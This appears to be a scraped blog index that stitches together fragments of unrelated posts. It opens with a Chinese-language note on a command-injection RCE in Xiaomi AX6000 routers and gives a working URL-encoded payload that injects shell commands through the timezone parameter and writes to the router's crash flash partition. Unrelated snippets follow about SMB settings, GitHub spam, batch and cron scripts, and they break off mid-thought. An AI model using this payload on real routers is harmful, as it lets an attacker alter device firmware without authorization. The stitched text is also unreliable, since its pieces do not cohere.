Runzhi He hrz6976

RCE

AX6000在1.0.60前的版本存在任意命令执行漏洞。登录管理界面，将 STOK 替换为URL中的STOK (;stok=XXXYYY)。

设置Crash

http://miwifi.com/cgi-bin/luci/;stok=**STOK**/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20

设置NVRam

Take your own risk because wide links is explicitly not supported, may not survive after upgrade, and may conflict with the functionalities of SMB share.

Comment out the parameter blacklists:

cd /usr/lib/python3/dist-packages/middlewared/plugins/smb_/util_param.py
cp util_param.py util_param.py.bak
nano util_param.py

Today I found multiple annoying comments under one of my GitHub issues:

It looks like a spambot posting links to a malware. Googling reveals that I am not the only one:

Luckily there exists a handy tool for investigating this incident: Clickhouse provides a public dataset aggregating everything happened on GitHub. To connect to their public instance:

	#!/bin/bash

	set -e

	# import settings from .env
	CWD=$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )
	source $CWD/.env

	FILELIST_PATH=$(realpath $CWD/filelist.txt)

	WAN_IFACE="eth1.5"
	LAN_IFACE="br-lan"

	GATEWAY_V6="240c:c001:a:128::1"
	GATEWAY_V6_T="fe80::200:ff:fe00:1"

	LOCAL_V6_PREFIX="240c:c001:"
	LOCAL_V6_TEMPFILE="/tmp/local_v6s"

	from dataclasses import dataclass
	from functools import lru_cache
	from json import JSONDecodeError
	import logging
	import re
	import os
	import shutil
	from urllib.parse import quote

	import requests

	@echo off
	setlocal

	REM Check if Windows Mail is running
	tasklist /FI "IMAGENAME eq HxOutlook.exe" 2>NUL \| find /I /N "HxOutlook.exe">NUL
	if "%ERRORLEVEL%"=="0" (
	echo HxOutlook.exe is running. Closing it...
	taskkill /F /IM HxOutlook.exe
	) else (
	echo HxOutlook.exe is not running.

	# Copy to /etc/cron.d
	/30 * * * user test -f /home/user/cloudflare/dns.sh && bash /home/user/cloudflare/dns.sh >> /home/user/cloudflare/dns.log 2>&1

	# copy it to /etc/cron.d
	/5 * * * root test -f /home/user/kill-before-oom/kill-before-oom.sh && bash /home/user/kill-before-oom/kill-before-oom.sh >> /home/user/kill-before-oom/kill-before-oom.log 2>&1

	# Copy it to /etc/cron.d
	/5 * * * user test -f /home/user/pku-auto-connect/connect.sh && bash /home/user/pku-auto-connect/connect.sh >> /home/user/pku-auto-connect/connect.log 2>&1